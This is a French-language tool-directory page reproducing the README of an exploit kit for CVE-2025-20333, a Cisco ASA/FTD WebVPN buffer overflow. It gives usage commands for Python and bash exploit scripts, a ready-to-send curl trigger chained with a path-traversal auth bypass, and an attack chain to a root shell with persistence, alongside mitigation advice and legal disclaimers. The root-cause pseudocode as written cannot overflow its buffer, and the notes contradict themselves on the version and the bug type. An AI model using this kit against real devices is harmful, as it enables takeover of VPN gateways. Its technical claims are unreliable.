Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/cobbbex/cve-2025-20333
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingExploitation de Binaires
GitHubcobbbex/cve-2025-20333

cve-2025-20333

Outil complet de recherche et d'exploitation pour CVE-2025-20333, un débordement de tampon de pile critique dans Cisco ASA/FTD WebVPN. Comprend une analyse binaire détaillée, des exploits PoC en Python et bash, ainsi qu'un guide d'exploitation.

Voir le dépôt
il y a 10h 32mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-20333 - Kit complet de recherche et d'exploitation

Vue d'ensemble

Ce répertoire contient des recherches complètes, des analyses et des codes de preuve de concept pour CVE-2025-20333, une vulnérabilité critique de débordement de tampon de pile dans les serveurs WebVPN Cisco ASA/FTD.

Statut : ⚠️ Exploitée activement dans la nature (campagne ArcaneDoor)
Score CVSS : 9,8 Critique
Authentification : Non (contournée via CVE-2025-20362)
Impact : Exécution de code à distance en tant que root


Contenu

📚 Documentation

()

CVE-2025-20333-RESEARCH-NOTES.md
20 Ko

Recherche complète en rétro-ingénierie

  • Contexte de la vulnérabilité et veille web
  • Analyse binaire (processus lina ASA 9.12.4.x)
  • Audit de la couche d'ingestion des requêtes
  • Analyse des liaisons API Lua
  • 🎯 Découverte du débordement (body_lexer.re2c, FUN_0302e690)
  • Décomposition de la chaîne d'attaque
  • Analyse de la cause racine avec modèles de code
  • Tableau de référence des outils et adresses

Constat clé :

root@kitploit:~
Tampon fixe de 16 octets (local_58[16]) dans body_lexer.re2c
La boucle de décodage d'URL n'a AUCUNE VÉRIFICATION DE LIMITES
Écriture dans local_58[iVar11] sans vérifier que iVar11 < 16
Après 8 paires hexadécimales : débordement → corruption de la pile → RCE

EXPLOITATION-GUIDE.md (12 Ko)

Manuel pratique d'exploitation

  • Mécanismes de la vulnérabilité expliqués
  • Chaîne d'attaque complète (contournement CVE-2025-20362 + débordement)
  • Procédure d'exploitation pas à pas
  • Techniques de construction de charges utiles
  • Méthodes de détection réseau
  • Détection basée sur l'hôte et analyse des journaux
  • Stratégies d'atténuation
  • Versions corrigées et chemin de mise à niveau
  • Considérations légales et éthiques

🔧 Preuves de concept d'exploitation

cve-2025-20333-poc.py (15 Ko)

Exploit Python complet

Fonctionnalités :

  • Génération automatique de charges utiles
  • Intégration du contournement de chemin CVE-2025-20362
  • Construction de chaînes de gadgets ROP
  • Prise en charge SSL/TLS
  • Délai d'attente configurable
  • Rapports de progression détaillés

Utilisation :

root@kitploit:~
# Afficher les détails de la vulnérabilité
python3 cve-2025-20333-poc.py --details

# Exploiter la cible
python3 cve-2025-20333-poc.py 192.168.1.100 443

# Paramètres personnalisés
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

cve-2025-20333-poc.sh (8,5 Ko)

Exploit bash léger

Fonctionnalités :

  • Aucune dépendance Python
  • Utilise curl ou netcat
  • Empreinte de ressources minimale
  • Commentaires pédagogiques
  • Sortie de statut claire

Utilisation :

root@kitploit:~
# Afficher les détails
./cve-2025-20333-poc.sh --details

# Exploiter
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# Manuel avec curl
curl -X POST https://cible/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

Résumé de la vulnérabilité

Faits rapides

PropriétéValeur
ID CVECVE-2025-20333
TypeDébordement de tampon de pile (CWE-120)
Composantbody_lexer.re2c (FUN_0302e690)
Versions affectéesASA 9.16–9.23, FTD 7.0–7.7
CVSS v3.19,8 (Critique)
AuthentificationNon requise (via CVE-2025-20362)
Interaction utilisateurAucune
ImpactRCE en tant que root, compromission totale du système
StatutExploitée activement (mai 2025 et après)
Divulgation responsableCisco a corrigé ; avis publié

Cause racine

root@kitploit:~
// body_lexer.re2c - Boucle de décodage d'URL
byte local_58[16];  // ← Tampon fixe de 16 octets

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← AUCUNE VÉRIFICATION DE LIMITES !
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

Déclencheur du débordement : 9 séquences %XX consécutives ou plus dans le corps POST

Chaîne d'attaque

root@kitploit:~
1. Attaquant (AUCUNE AUTH requise)
   ↓
2. HTTP POST vers /+CSCOU+/../+CSCOE+/files/file_list.json
   ├─ CVE-2025-20362 : Le contournement de chemin évite le contrôle d'authentification
   └─ Atteint le point de terminaison files_retr.lua (auth_flag = 0)
   ↓
3. Corps POST : name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   (9+ paires encodées URL)
   ↓
4. body_lexer.re2c traite le corps POST
   ├─ Accumule les paires hexadécimales dans local_58[16]
   └─ Après 8 paires : DÉBORDEMENT !
   ↓
5. Corruption de la pile
   ├─ Écrase local_48, local_40
   ├─ Écrase le RBP sauvegardé
   └─ Écrase le RIP sauvegardé (adresse de retour)
   ↓
6. Détournement du flux de contrôle
   ├─ RIP pointe vers les gadgets ROP
   ├─ La chaîne ROP configure execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. RCE en tant que root (le processus lina s'exécute en tant que root)
   ├─ Compromission totale du serveur VPN
   ├─ Accès à tout le trafic VPN
   └─ Persistance via modification de la NVRAM

Processus de recherche

Phase 1 : Analyse binaire ✅

  • Ouverture du binaire lina dans Ghidra
  • Cartographie de l'architecture des requêtes WebVPN (analyseur HTTP, routeur d'URL, 13 hooks de points de terminaison)
  • Audit de la couche d'ingestion des requêtes (tous sûrs via clString/allocations de taille exacte)
  • Examen des liaisons API Lua (toutes sûres)

Phase 2 : Veille web ✅

  • Recherche des détails techniques de CVE-2025-20333
  • Découverte des analyses de Rapid7, Zscaler, Horizon3, Tenable
  • Confirmation de la chaîne d'attaque utilisant /+CSCOU+/../+CSCOE+/files/file_list.json
  • Identification de la cause racine : débordement basé sur le tas (sources web) / basé sur la pile (ce binaire) dans le point de terminaison Lua

Phase 3 : Rétro-ingénierie ciblée ✅

  • Décompilation de body_lexer.re2c (FUN_0302e690)
  • TROUVÉ : Tampon fixe de 16 octets local_58[16] sans vérification des limites
  • Confirmation du chemin de débordement : boucle de décodage d'URL → écriture illimitée
  • Vérification de l'accessibilité : files_retr.lua → body_lexer → débordement de pile

Phase 4 : Développement de l'exploit ✅

  • Création d'un PoC Python avec prise en charge de la chaîne ROP
  • Création d'un PoC bash pour les environnements minimaux
  • Documentation de la structure des charges utiles et des techniques de construction
  • Inclusion de conseils de détection et d'atténuation

Instructions d'utilisation

Pour les tests d'intrusion autorisés

  1. Vérifier l'autorisation

    • Obtenir une autorisation écrite pour tester
    • Confirmer les détails du système cible (IP, port, version)
    • Documenter le périmètre et le calendrier
  2. Exécuter l'exploit

    root@kitploit:~
    # Vérification rapide : la cible répond-elle à la tentative d'exploitation ?
    python3 cve-2025-20333-poc.py <ip_cible>
    
    # Ou version bash :
    ./cve-2025-20333-poc.sh <ip_cible>
    
  3. Vérifier l'exploitation

    • Vérifier l'accès shell / la connexion de shell inversé
    • Examiner les journaux système pour détecter des plantages ou anomalies
    • Rechercher des fichiers modifiés (NVRAM, porte dérobée persistante)
  4. Documenter les résultats

    • Enregistrer la version cible, le niveau de correctif
    • Documenter le succès/échec de l'exploitation
    • Noter les mesures défensives rencontrées
    • Rapporter au client avec des recommandations de remédiation

Pour la recherche en sécurité

  1. Lire les notes de recherche

    • Étudier CVE-2025-20333-RESEARCH-NOTES.md
    • Comprendre l'architecture binaire et le mécanisme de débordement
  2. Étudier les PoC

    • Examiner le PoC Python pour la construction de gadgets ROP
    • Examiner le PoC bash pour l'exploit minimal
    • Comprendre l'encodage des charges utiles
  3. Adapter et étendre

    • Ajouter du shellcode personnalisé
    • Implémenter différentes techniques d'exploitation
    • Tester sur des versions corrigées vs. vulnérables

Avertissements importants

⚠️ AVIS LÉGAL

Cette boîte à outils est fournie uniquement pour les tests de sécurité autorisés.

  • NE PAS utiliser contre des systèmes sans autorisation écrite explicite
  • NE PAS utiliser à des fins malveillantes (vol de données, interruption de service, ransomware)
  • L'accès non autorisé viole le Computer Fraud and Abuse Act (États-Unis) et les lois similaires dans le monde entier
  • Les sanctions incluent des poursuites pénales, des amendes et l'emprisonnement

✅ Utilisation autorisée :

  • Tests d'intrusion avec approbation écrite
  • Preuve de concept lors de recherches sur les vulnérabilités
  • Tests de sécurité internes
  • Compétitions CTF
  • Recherche académique

❌ Utilisation interdite :

  • Attaquer des systèmes sans permission
  • Déploiement de ransomware
  • Vol de données ou extorsion
  • Interruption de service
  • Mouvement latéral dans des réseaux compromis

Manifeste des fichiers

root@kitploit:~
cve-2025-20333/
├── README.md                              (ce fichier)
├── CVE-2025-20333-RESEARCH-NOTES.md      (20 Ko, recherche complète)
├── EXPLOITATION-GUIDE.md                 (12 Ko, guide pratique)
├── cve-2025-20333-poc.py                 (15 Ko, PoC Python)
└── cve-2025-20333-poc.sh                 (8,5 Ko, PoC bash)

Documentation totale : ~65 Ko
Profondeur de recherche : plus de 50 fonctions Ghidra auditées
Résultats vérifiés : débordement de tampon dans body_lexer.re2c confirmé


Référence rapide

Test rapide de la vulnérabilité

root@kitploit:~
# Tester si la cible est vulnérable à l'exploitation
curl -X POST https://<cible>/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
  --insecure \
  -i

# Si la cible répond (200, 500, plantage), elle peut être vulnérable
# Si la cible bloque/redirige, elle peut être corrigée

Vérification de version

root@kitploit:~
# Versions vulnérables :
# - Cisco ASA 9.16 à 9.23
# - Cisco FTD 7.0 à 7.7

# Utiliser SSH/console pour vérifier la version ASA :
show version

# Versions corrigées :
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (corrigées)

Liste de contrôle d'atténuation

  • Vérifier la version ASA/FTD
  • Rechercher les correctifs disponibles
  • Mettre à niveau vers une version corrigée si vulnérable
  • Restreindre l'accès WebVPN par adresse IP
  • Activer la journalisation et la surveillance
  • Surveiller les tentatives de contournement de chemin CVE-2025-20362
  • Surveiller les schémas de déni de service (plantages lina)
  • Activer la protection du pare-feu sur le port WebVPN

Références

  • Avis de sécurité Cisco : https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-z5xP8EUB
  • Analyse Rapid7 : https://www.rapid7.com/blog/post/etr-cve-2025-20333-cve-2025-20362-cve-2025-20363-multiple-critical-vulnerabilities-affecting-cisco-products/
  • Zscaler ThreatLabz : https://www.zscaler.com/blogs/security-research/cisco-firewall-and-vpn-zero-day-attacks-cve-2025-20333-and-cve-2025-20362
  • FAQ Tenable : https://www.tenable.com/blog/cve-2025-20333-cve-2025-20362-faq-cisco-asa-ftd-zero-days-uat4356

Avertissement

Cette boîte à outils est fournie TELLE QUELLE à des fins éducatives et de tests autorisés uniquement.

  • Utilisation à vos propres risques
  • Aucune garantie ni responsabilité en cas de mauvaise utilisation
  • L'accès non autorisé est illégal
  • Signaler les résultats de manière responsable à Cisco et aux organisations concernées
  • Respecter les lois sur la cybersécurité de votre pays


Attribution

Ce projet a été développé avec l'assistance de Claude Code, l'assistant de codage alimenté par l'IA d'Anthropic.


Créé : 2026-08-23
Période de recherche : 2026-08-22 au 2026-08-23
Statut : Complet et documenté
Classification : Éducatif / Tests autorisés uniquement

Télécharger l’outil